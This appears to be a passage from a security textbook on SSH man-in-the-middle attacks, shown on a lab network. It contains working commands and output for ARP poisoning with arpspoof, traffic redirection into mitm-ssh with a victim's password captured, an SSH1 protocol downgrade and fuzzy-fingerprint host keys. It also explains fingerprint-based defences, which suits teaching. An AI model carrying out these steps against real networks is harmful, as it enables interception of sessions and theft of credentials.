A hybrid cryptosystem gets the best of both worlds. An asymmetric cipher is used to exchange a randomly generated key that is used to encrypt the remaining communications with a symmetric cipher. This provides the speed and efficiency of a symmetric cipher, while solving the dilemma of secure key exchange. Hybrid ciphers are used by most modern cryptographic applications, such as SSL, SSH, and PGP.
Since most applications use ciphers that are resistant to cryptanalysis, attacking the cipher usually won't work. However, if an attacker can intercept communications between both parties and masquerade as one or the other, the key exchange algorithm can be attacked.
A man-in-the-middle (MitM) attack is a clever way to circumvent encryption. The attacker sits between the two communicating parties, with each party believing they are communicating with the other party, but both are communicating with the attacker.
When an encrypted connection between the two parties is established, a secret key is generated and transmitted using an asymmetric cipher. Usually, this key is used to encrypt further communication between the two parties. Since the key is securely transmitted and the subsequent traffic is secured by the key, all of this traffic is unreadable by any would-be attacker sniffing these packets.
However, in an MitM attack, party A believes that she is communicating with B, and party B believes he is communicating with A, but in reality, both are communicating with the attacker. So, when A negotiates an encrypted connection with B, A is actually opening an encrypted connection with the attacker, which means the attacker securely communicates with an asymmetric cipher and learns the secret key. Then the attacker just needs to open another encrypted connection with B, and B will believe that he is communicating with A, as shown in the following illustration.
This means that the attacker actually maintains two separate encrypted communication channels with two separate encryption keys. Packets from A are encrypted with the first key and sent to the attacker, which A believes is actually B. The attacker then decrypts these packets with the first key and re-encrypts them with the second key. Then the attacker sends the newly encrypted packets to B, and B believes these packets are actually being sent by A. By sitting in the middle and maintaining two separate keys, the attacker is able to sniff and even modify traffic between A and B without either side being the wiser.
After redirecting traffic using an ARP cache poisoning tool, there are a number of SSH man-in-the-middle attack tools that can be used. Most of these are just modifications to the existing openssh source code. One notable example is the aptly named mitm-ssh package, by Claes Nyberg, which has been included on the LiveCD.
This can all be done with the ARP redirection technique from "Active Sniffing" on Active Sniffing and a modified openssh package aptly called mitmssh. There are other tools that do this; however, Claes Nyberg's mitm-ssh is publicly available and the most robust. The source package is on the LiveCD in /usr/src/mitm-ssh, and it has already been built and installed. When running, it accepts connections to a given port and then proxies these connections to the real destination IP address of the target SSH server. With the help of arpspoof to poison ARP caches, traffic to the target SSH server can be redirected to the attacker's machine running mitm-ssh. Since this program listens on localhost, some IP filtering rules are needed to redirect the traffic.
In the example below, the target SSH server is at 192.168.42.72. When mitm-ssh is run, it will listen on port 2222, so it doesn't need to be run as root. The iptables command tells Linux to redirect all incoming TCP connections on port 22 to localhost 2222, where mitm-ssh will be listening.
reader@hacking:~ $ sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports 2222 reader@hacking:~ $ sudo iptables -t nat -L Chain PREROUTING (policy ACCEPT) target prot opt source destination REDIRECT tcp -- anywhere anywhere tcp dpt:ssh redir ports 2222 Chain POSTROUTING (policy ACCEPT) target prot opt source destination Chain OUTPUT (policy ACCEPT) target prot opt source destination reader@hacking:~ $ mitm-ssh .. /|\ SSH Man In The Middle [Based on OpenSSH_3.9p1] _|_ By CMN <cmn@darklab.org> Usage: mitm-ssh <non-nat-route> [option(s)] Routes: <host>[:<port>] - Static route to port on host (for non NAT connections) Options: -v - Verbose output -n - Do not attempt to resolve hostnames -d - Debug, repeat to increase verbosity -p port - Port to listen for connections on -f configfile - Configuration file to read Log Options: -c logdir - Log data from client in directory -s logdir - Log data from server in directory -o file - Log passwords to file reader@hacking:~ $ mitm-ssh 192.168.42.72 -v -n -p 2222 Using static route to 192.168.42.72:22 SSH MITM Server listening on 0.0.0.0 port 2222. Generating 768 bit RSA key. RSA key generation complete.
Then in another terminal window on the same machine, Dug Song's arpspoof tool is used to poison ARP caches and redirect traffic destined for 192.168.42.72 to our machine, instead.
reader@hacking:~ $ arpspoof Version: 2.3 Usage: arpspoof [-i interface] [-t target] host reader@hacking:~ $ sudo arpspoof -i eth0 192.168.42.72 0:12:3f:7:39:9c ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.42.72 is-at 0:12:3f:7:39:9c 0:12:3f:7:39:9c ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.42.72 is-at 0:12:3f:7:39:9c 0:12:3f:7:39:9c ff:ff:ff:ff:ff:ff 0806 42: arp reply 192.168.42.72 is-at 0:12:3f:7:39:9c
And now the MitM attack is all set up and ready for the next unsuspecting victim. The output below is from another machine on the network (192.168.42.250), which makes an SSH connection to 192.168.42.72.
iz@tetsuo:~ $ ssh jose@192.168.42.72 The authenticity of host '192.168.42.72 (192.168.42.72)' can't be established. RSA key fingerprint is 84:7a:71:58:0f:b5:5e:1b:17:d7:b5:9c:81:5a:56:7c. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '192.168.42.72' (RSA) to the list of known hosts. jose@192.168.42.72's password: Last login: Mon Oct 1 06:32:37 2007 from 192.168.42.72 Linux loki 2.6.20-16-generic #2 SMP Thu Jun 7 20:19:32 UTC 2007 i686 jose@loki:~ $ ls -a . .. .bash_logout .bash_profile .bashrc .bashrc.swp .profile Examples jose@loki:~ $ id uid=1001(jose) gid=1001(jose) groups=1001(jose) jose@loki:~ $ exit logout Connection to 192.168.42.72 closed. iz@tetsuo:~ $
Everything seems okay, and the connection appeared to be secure. However, the connection was secretly routed through the attacker's machine, which used a separate encrypted connection to back to the target server. Back on the attacker's machine, everything about the connection has been logged.
reader@hacking:~ $ sudo mitm-ssh 192.168.42.72 -v -n -p 2222 Using static route to 192.168.42.72:22 SSH MITM Server listening on 0.0.0.0 port 2222. Generating 768 bit RSA key. RSA key generation complete. WARNING: /usr/local/etc/moduli does not exist, using fixed modulus [MITM] Found real target 192.168.42.72:22 for NAT host 192.168.42.250:1929 [MITM] Routing SSH2 192.168.42.250:1929 -> 192.168.42.72:22 [2007-10-01 13:33:42] MITM (SSH2) 192.168.42.250:1929 -> 192.168.42.72:22 SSH2_MSG_USERAUTH_REQUEST: jose ssh-connection password 0 sP#byp%srt [MITM] Connection from UNKNOWN:1929 closed reader@hacking:~ $ ls /usr/local/var/log/mitm-ssh/ passwd.log ssh2 192.168.42.250:1929 <- 192.168.42.72:22 ssh2 192.168.42.250:1929 -> 192.168.42.72:22 reader@hacking:~ $ cat /usr/local/var/log/mitm-ssh/passwd.log [2007-10-01 13:33:42] MITM (SSH2) 192.168.42.250:1929 -> 192.168.42.72:22 SSH2_MSG_USERAUTH_REQUEST: jose ssh-connection password 0 sP#byp%srt reader@hacking:~ $ cat /usr/local/var/log/mitm-ssh/ssh2* Last login: Mon Oct 1 06:32:37 2007 from 192.168.42.72 Linux loki 2.6.20-16-generic #2 SMP Thu Jun 7 20:19:32 UTC 2007 i686 jose@loki:~ $ ls -a . .. .bash_logout .bash_profile .bashrc .bashrc.swp .profile Examples jose@loki:~ $ id uid=1001(jose) gid=1001(jose) groups=1001(jose) jose@loki:~ $ exit logout
Since the authentication was actually redirected, with the attacker's machine acting as a proxy, the password sP#byp%srt could be sniffed. In addition, the data transmitted during the connection is captured, showing the attacker everything the victim did during the SSH session.
The attacker's ability to masquerade as either party is what makes this type of attack possible. SSL and SSH were designed with this in mind and have protections against identity spoofing. SSL uses certificates to validate identity, and SSH uses host fingerprints. If the attacker doesn't have the proper certificate or fingerprint for B when A attempts to open an encrypted communication channel with the attacker, the signatures won't match and A will be alerted with a warning.
In the previous example, 192.168.42.250 (tetsuo) had never previously communicated over SSH with 192.168.42.72 (loki) and therefore didn't have a host fingerprint. The host fingerprint that it accepted was actually the fingerprint generated by mitm-ssh. If, however, 192.168.42.250 (tetsuo) had a host fingerprint for 192.168.42.72 (loki), the whole attack would have been detected, and the user would have been presented with a very blatant warning:
iz@tetsuo:~ $ ssh jose@192.168.42.72 @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY! Someone could be eavesdropping on you right now (man-in-the-middle attack)! It is also possible that the RSA host key has just been changed. The fingerprint for the RSA key sent by the remote host is 84:7a:71:58:0f:b5:5e:1b:17:d7:b5:9c:81:5a:56:7c. Please contact your system administrator. Add correct host key in /home/jon/.ssh/known_hosts to get rid of this message. Offending key in /home/jon/.ssh/known_hosts:1 RSA host key for 192.168.42.72 has changed and you have requested strict checking. Host key verification failed. iz@tetsuo:~ $
The openssh client will actually prevent the user from connecting until the old host fingerprint has been removed. However, many Windows SSH clients don't have the same kind of strict enforcement of these rules and will present the user with an "Are you sure you want to continue?" dialog box. An uninformed user might just click right through the warning.
SSH host fingerprints do have a few vulnerabilities. These vulnerabilities have been compensated for in the most recent versions of openssh, but they still exist in older implementations.
Usually, the first time an SSH connection is made to a new host,
that host's fingerprint is added to a known_hosts
file, as shown here:
iz@tetsuo:~ $ ssh jose@192.168.42.72 The authenticity of host '192.168.42.72 (192.168.42.72)' can't be established. RSA key fingerprint is ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '192.168.42.72' (RSA) to the list of known hosts. jose@192.168.42.72's password: <ctrl-c> iz@tetsuo:~ $ grep 192.168.42.72 ~/.ssh/known_hosts 192.168.42.72 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA8Xq6H28EOiCbQaFbIzPtMJSc316SH4aOijgkf7nZnH4LirNziH5upZmk4/ JSdBXcQohiskFFeHadFViuB4xIURZeF3Z7OJtEi8aupf2pAnhSHF4rmMV1pwaSuNTahsBoKOKSaTUOW0RN/1t3G/ 52KTzjtKGacX4gTLNSc8fzfZU= iz@tetsuo:~ $
However, there are two different protocols of SSH—SSH1 and SSH2— each with separate host fingerprints.
iz@tetsuo:~ $ rm ~/.ssh/known_hosts iz@tetsuo:~ $ ssh -1 jose@192.168.42.72 The authenticity of host '192.168.42.72 (192.168.42.72)' can't be established. RSA1 key fingerprint is e7:c4:81:fe:38:bc:a8:03:f9:79:cd:16:e9:8f:43:55. Are you sure you want to continue connecting (yes/no)? no Host key verification failed. iz@tetsuo:~ $ ssh -2 jose@192.168.42.72 The authenticity of host '192.168.42.72 (192.168.42.72)' can't be established. RSA key fingerprint is ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0. Are you sure you want to continue connecting (yes/no)? no Host key verification failed. iz@tetsuo:~ $
The banner presented by the SSH server describes which SSH protocols it understands (shown in bold below):
iz@tetsuo:~ $ telnet 192.168.42.72 22 Trying 192.168.42.72... Connected to 192.168.42.72. Escape character is '^]'.SSH-1.99-OpenSSH_3.9p1
Connection closed by foreign host. iz@tetsuo:~ $ telnet 192.168.42.1 22 Trying 192.168.42.1... Connected to 192.168.42.1. Escape character is '^]'.SSH-2.0-OpenSSH_4.3p2 Debian-8ubuntu1
Connection closed by foreign host. iz@tetsuo:~ $
The banner from 192.168.42.72 (loki) includes the string
SSH-1.99
, which, by convention, means
that the server speaks both protocols 1 and 2. Often, the SSH
server will be configured with a line like Protocol 2,1
, which also means the server speaks
both protocols and tries to use SSH2 if possible. This is to retain
backward compatibility, so SSH1-only clients can still connect.
In contrast, the banner from 192.168.42.1 includes the string
SSH-2.0
, which shows that the server
only speaks protocol 2. In this case, it's obvious that any clients
connecting to it have only communicated with SSH2 and therefore
only have host
fingerprints for protocol 2.
The same is true for loki (192.168.42.72); however, loki also accepts SSH1, which has a different set of host fingerprints. It's unlikely that a client will have used SSH1, and therefore doesn't have the host fingerprints for this protocol yet.
If the modified SSH daemon being used for the MitM attack forces
the client to communicate using the other protocol, no host
fingerprint will be found. Instead of being presented with a
lengthy warning, the user will simply be asked to add the new
fingerprint. The mitm-sshtool uses a configuration file similar to
openssh's, since it's built from that code. By adding the line
Protocol 1
to
/usr/local/etc/mitm-ssh_config, the mitm-ssh daemon will claim it
only speaks the SSH1 protocol.
The output below shows that loki's SSH server usually speaks using both SSH1 and SSH2 protocols, but when mitm-ssh is put in the middle using the new configuration file, the fake server claims it only speaks SSH1 protocol.
iz@tetsuo:~ $ telnet 192.168.42.72 22
Trying 192.168.42.72...
Connected to 192.168.42.72.
Escape character is '^]'.
SSH-1.99-OpenSSH_3.9p1
Connection closed by foreign host.
iz@tetsuo:~ $ rm ~/.ssh/known_hosts
iz@tetsuo:~ $ ssh jose@192.168.42.72
The authenticity of host '192.168.42.72 (192.168.42.72)' can't be established.
RSA key fingerprint is ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.42.72' (RSA) to the list of known hosts.
jose@192.168.42.72's password:
iz@tetsuo:~ $
reader@hacking:~ $ echo "Protocol 1" >> /usr/local/etc/mitm-ssh_config
reader@hacking:~ $ tail /usr/local/etc/mitm-ssh_config
# Where to store passwords
#PasswdLogFile /var/log/mitm-ssh/passwd.log
# Where to store data sent from client to server
#ClientToServerLogDir /var/log/mitm-ssh
# Where to store data sent from server to client
#ServerToClientLogDir /var/log/mitm-ssh
Protocol 1
reader@hacking:~ $ mitm-ssh 192.168.42.72 -v -n -p 2222
Using static route to 192.168.42.72:22
SSH MITM Server listening on 0.0.0.0 port 2222.
Generating 768 bit RSA key.
RSA key generation complete.
iz@tetsuo:~ $ telnet 192.168.42.72 22
Trying 192.168.42.72...
Connected to 192.168.42.72.
Escape character is '^]'.
SSH-1.5-OpenSSH_3.9p1
Connection closed by foreign host.
Usually, clients such as tetsuo connecting to loki at 192.168.42.72 would have only communicated using SSH2. Therefore, there would only be a host fingerprint for SSH protocol 2 stored on the client. When protocol 1 is forced by the MitM attack, the attacker's fingerprint won't be compared to the stored fingerprint, due to the differing protocols. Older implementations will simply ask to add this fingerprint since, technically, no host fingerprint exists for this protocol. This is shown in the output below.
iz@tetsuo:~ $ ssh jose@192.168.42.72 The authenticity of host '192.168.42.72 (192.168.42.72)' can't be established. RSA1 key fingerprint is 45:f7:8d:ea:51:0f:25:db:5a:4b:9e:6a:d6:3c:d0:a6. Are you sure you want to continue connecting (yes/no)?
Since this vulnerability was made public, newer implementations of OpenSSH have a slightly more verbose warning:
iz@tetsuo:~ $ ssh jose@192.168.42.72 WARNING: RSA key found for host 192.168.42.72 in /home/iz/.ssh/known_hosts:1 RSA key fingerprint ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0. The authenticity of host '192.168.42.72 (192.168.42.72)' can't be established but keys of different type are already known for this host. RSA1 key fingerprint is 45:f7:8d:ea:51:0f:25:db:5a:4b:9e:6a:d6:3c:d0:a6. Are you sure you want to continue connecting (yes/no)?
This modified warning isn't as strong as the warning given when host fingerprints of the same protocol don't match. Also, since not all clients will be up to date, this technique can still prove to be useful for an MitM attack.
Konrad Rieck had an interesting idea regarding SSH host fingerprints. Often, a user will connect to a server from several different clients. The host fingerprint will be displayed and added each time a new client is used, and a security-conscious user will tend to remember the general structure of the host fingerprint. While no one actually memorizes the entire fingerprint, major changes can be detected with little effort. Having a general idea of what the host fingerprint looks like when connecting from a new client greatly increases the security of that connection. If an MitM attack is attempted, the blatant difference in host fingerprints can usually be detected by eye.
However, the eye and the brain can be tricked. Certain fingerprints will look very similar to others. Digits 1 and 7 look very similar, depending on the display font. Usually, the hex digits found at the beginning and end of the fingerprint are remembered with the greatest clarity, while the middle tends to be a bit hazy. The goal behind the fuzzy fingerprint technique is to generate a host key with a fingerprint that looks similar enough to the original fingerprint to fool the human eye.
The openssh package provides tools to retrieve the host key from servers.
reader@hacking:~ $ ssh-keyscan -t rsa 192.168.42.72 > loki.hostkey # 192.168.42.72 SSH-1.99-OpenSSH_3.9p1 reader@hacking:~ $ cat loki.hostkey 192.168.42.72 ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA8Xq6H28EOiCbQaFbIzPtMJSc316SH4aOijgkf7nZnH4LirNziH5upZmk4/ JSdBXcQohiskFFeHadFViuB4xIURZeF3Z7OJtEi8aupf2pAnhSHF4rmMV1pwaSuNTahsBoKOKSaTUOW0RN/1t3G/ 52KTzjtKGacX4gTLNSc8fzfZU= reader@hacking:~ $ ssh-keygen -l -f loki.hostkey 1024 ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0 192.168.42.72 reader@hacking:~ $
Now that the host key fingerprint format is known for 192.168.42.72 (loki), fuzzy fingerprints can be generated that look similar. A program that does this has been developed by Rieck and is available at http://www.thc.org/thc-ffp/. The following output shows the creation of some fuzzy fingerprints for 192.168.42.72 (loki).
reader@hacking:~ $ ffp Usage: ffp [Options] Options: -f type Specify type of fingerprint to use [Default: md5] Available: md5, sha1, ripemd -t hash Target fingerprint in byte blocks. Colon-separated: 01:23:45:67... or as string 01234567... -k type Specify type of key to calculate [Default: rsa] Available: rsa, dsa -b bits Number of bits in the keys to calculate [Default: 1024] -K mode Specify key calulation mode [Default: sloppy] Available: sloppy, accurate -m type Specify type of fuzzy map to use [Default: gauss] Available: gauss, cosine -v variation Variation to use for fuzzy map generation [Default: 7.3] -y mean Mean value to use for fuzzy map generation [Default: 0.14] -l size Size of list that contains best fingerprints [Default: 10] -s filename Filename of the state file [Default: /var/tmp/ffp.state] -e Extract SSH host key pairs from state file -d directory Directory to store generated ssh keys to [Default: /tmp] -p period Period to save state file and display state [Default: 60] -V Display version information No state file /var/tmp/ffp.state present, specify a target hash. reader@hacking:~ $ ffp -f md5 -k rsa -b 1024 -t ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0: 10:59:a0 ---[Initializing]--------------------------------------------------------------- Initializing Crunch Hash: Done Initializing Fuzzy Map: Done Initializing Private Key: Done Initializing Hash List: Done Initializing FFP State: Done ---[Fuzzy Map]------------------------------------------------------------------ Length: 32 Type: Inverse Gaussian Distribution Sum: 15020328 Fuzzy Map: 10.83% | 9.64% : 8.52% | 7.47% : 6.49% | 5.58% : 4.74% | 3.96% : 3.25% | 2.62% : 2.05% | 1.55% : 1.12% | 0.76% : 0.47% | 0.24% : 0.09% | 0.01% : 0.00% | 0.06% : 0.19% | 0.38% : 0.65% | 0.99% : 1.39% | 1.87% : 2.41% | 3.03% : 3.71% | 4.46% : 5.29% | 6.18% : ---[Current Key]---------------------------------------------------------------- Key Algorithm: RSA (Rivest Shamir Adleman) Key Bits / Size of n: 1024 Bits Public key e: 0x10001 Public Key Bits / Size of e: 17 Bits Phi(n) and e r.prime: Yes Generation Mode: Sloppy State File: /var/tmp/ffp.state Running... ---[Current State]-------------------------------------------------------------- Running: 0d 00h 00m 00s | Total: 0k hashs | Speed: nan hashs/s -------------------------------------------------------------------------------- Best Fuzzy Fingerprint from State File /var/tmp/ffp.state Hash Algorithm: Message Digest 5 (MD5) Digest Size: 16 Bytes / 128 Bits Message Digest: 6a:06:f9:a6:cf:09:19:af:c3:9d:c5:b9:91:a4:8d:81 Target Digest: ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0 Fuzzy Quality: 25.652482% ---[Current State]-------------------------------------------------------------- Running: 0d 00h 01m 00s | Total: 7635k hashs | Speed: 127242 hashs/s -------------------------------------------------------------------------------- Best Fuzzy Fingerprint from State File /var/tmp/ffp.state Hash Algorithm: Message Digest 5 (MD5) Digest Size: 16 Bytes / 128 Bits Message Digest: ba:06:3a:8c:bc:73:24:64:5b:8a:6d:fa:a6:1c:09:80 Target Digest: ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0 Fuzzy Quality: 55.471931% ---[Current State]-------------------------------------------------------------- Running: 0d 00h 02m 00s | Total: 15370k hashs | Speed: 128082 hashs/s -------------------------------------------------------------------------------- Best Fuzzy Fingerprint from State File /var/tmp/ffp.state Hash Algorithm: Message Digest 5 (MD5) Digest Size: 16 Bytes / 128 Bits Message Digest: ba:06:3a:8c:bc:73:24:64:5b:8a:6d:fa:a6:1c:09:80 Target Digest: ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0 Fuzzy Quality: 55.471931% .:[ output trimmed ]:. ---[Current State]-------------------------------------------------------------- Running: 1d 05h 06m 00s | Total: 13266446k hashs | Speed: 126637 hashs/s -------------------------------------------------------------------------------- Best Fuzzy Fingerprint from State File /var/tmp/ffp.state Hash Algorithm: Message Digest 5 (MD5) Digest Size: 16 Bytes / 128 Bits Message Digest: ba:0d:7f:d2:64:76:b8:9c:f1:22:22:87:b0:26:59:50 Target Digest: ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0 Fuzzy Quality: 70.158321% -------------------------------------------------------------------------------- Exiting and saving state file /var/tmp/ffp.state reader@hacking:~ $
This fuzzy fingerprint generation process can go on for as long
as desired. The program keeps track of some of the best
fingerprints and will display them periodically. All of the state
information is stored in /var/tmp/ffp.state, so the program can be
exited with a CTRL-C and then resumed again later by simply running
ffp
without any arguments.
After running for a while, SSH host key pairs can be extracted
from the state file with the -e
switch.
reader@hacking:~ $ ffp -e -d /tmp ---[Restoring]------------------------------------------------------------------ Reading FFP State File: Done Restoring environment: Done Initializing Crunch Hash: Done -------------------------------------------------------------------------------- Saving SSH host key pairs: [00] [01] [02] [03] [04] [05] [06] [07] [08] [09] reader@hacking:~ $ ls /tmp/ssh-rsa* /tmp/ssh-rsa00 /tmp/ssh-rsa02.pub /tmp/ssh-rsa05 /tmp/ssh-rsa07.pub /tmp/ssh-rsa00.pub /tmp/ssh-rsa03 /tmp/ssh-rsa05.pub /tmp/ssh-rsa08 /tmp/ssh-rsa01 /tmp/ssh-rsa03.pub /tmp/ssh-rsa06 /tmp/ssh-rsa08.pub /tmp/ssh-rsa01.pub /tmp/ssh-rsa04 /tmp/ssh-rsa06.pub /tmp/ssh-rsa09 /tmp/ssh-rsa02 /tmp/ssh-rsa04.pub /tmp/ssh-rsa07 /tmp/ssh-rsa09.pub reader@hacking:~ $
In the preceding example, 10 public and private host key pairs have been generated. Fingerprints for these key pairs can then be generated and compared with the original fingerprint, as seen in the following output.
reader@hacking:~ $ for i in $(ls -1 /tmp/ssh-rsa*.pub)
> do
> ssh-keygen -l -f $i
> done
1024 ba:0d:7f:d2:64:76:b8:9c:f1:22:22:87:b0:26:59:50 /tmp/ssh-rsa00.pub
1024 ba:06:7f:12:bd:8a:5b:5c:eb:dd:93:ec:ec:d3:89:a9 /tmp/ssh-rsa01.pub
1024 ba:06:7e:b2:64:13:cf:0f:a4:69:17:d0:60:62:69:a0 /tmp/ssh-rsa02.pub
1024 ba:06:49:d4:b9:d4:96:4b:93:e8:5d:00:bd:99:53:a0 /tmp/ssh-rsa03.pub
1024 ba:06:7c:d2:15:a2:d3:0d:bf:f0:d4:5d:c6:10:22:90 /tmp/ssh-rsa04.pub
1024 ba:06:3f:22:1b:44:7b:db:41:27:54:ac:4a:10:29:e0 /tmp/ssh-rsa05.pub
1024 ba:06:78:dc:be:a6:43:15:eb:3f:ac:92:e5:8e:c9:50 /tmp/ssh-rsa06.pub
1024 ba:06:7f:da:ae:61:58:aa:eb:55:d0:0c:f6:13:61:30 /tmp/ssh-rsa07.pub
1024 ba:06:7d:e8:94:ad:eb:95:d2:c5:1e:6d:19:53:59:a0 /tmp/ssh-rsa08.pub
1024 ba:06:74:a2:c2:8b:a4:92:e1:e1:75:f5:19:15:60:a0 /tmp/ssh-rsa09.pub
reader@hacking:~ $ ssh-keygen -l -f ./loki.hostkey
1024 ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0 192.168.42.72
reader@hacking:~ $
From the 10 generated key pairs, the one that seems to look the most similar can be determined by eye. In this case, ssh-rsa02.pub, shown in bold, was chosen. Regardless of which key pair is chosen, though, it will certainly look more like the original fingerprint than any randomly generated key would.
This new key can be used with mitm-ssh to make for an even more
effective attack. The location for the host key is specified in the
configuration file, so using the new key is simply matter of adding
a HostKey
line in
/usr/local/etc/mitm-ssh_config, as shown below. Since we need to
remove the Protocol 1
line we added
earlier, the output below simply overwrites the configuration
file.
reader@hacking:~ $ echo "HostKey /tmp/ssh-rsa02" > /usr/local/etc/mitm-ssh_config reader@hacking:~ $ mitm-ssh 192.168.42.72 -v -n -p 2222Using static route to 192.168. 42.72:22 Disabling protocol version 1. Could not load host key SSH MITM Server listening on 0.0.0.0 port 2222.
In another terminal window, arpspoof is running to redirect the traffic to mitm-ssh, which will use the new host key with the fuzzy fingerprint. The output below compares the output a client would see when connecting.
iz@tetsuo:~ $ ssh jose@192.168.42.72 The authenticity of host '192.168.42.72 (192.168.42.72)' can't be established. RSA key fingerprint is ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0. Are you sure you want to continue connecting (yes/no)?
iz@tetsuo:~ $ ssh jose@192.168.42.72 The authenticity of host '192.168.42.72 (192.168.42.72)' can't be established. RSA key fingerprint is ba:06:7e:b2:64:13:cf:0f:a4:69:17:d0:60:62:69:a0. Are you sure you want to continue connecting (yes/no)?
Can you immediately tell the difference? These fingerprints look similar enough to trick most people into simply accepting the connection.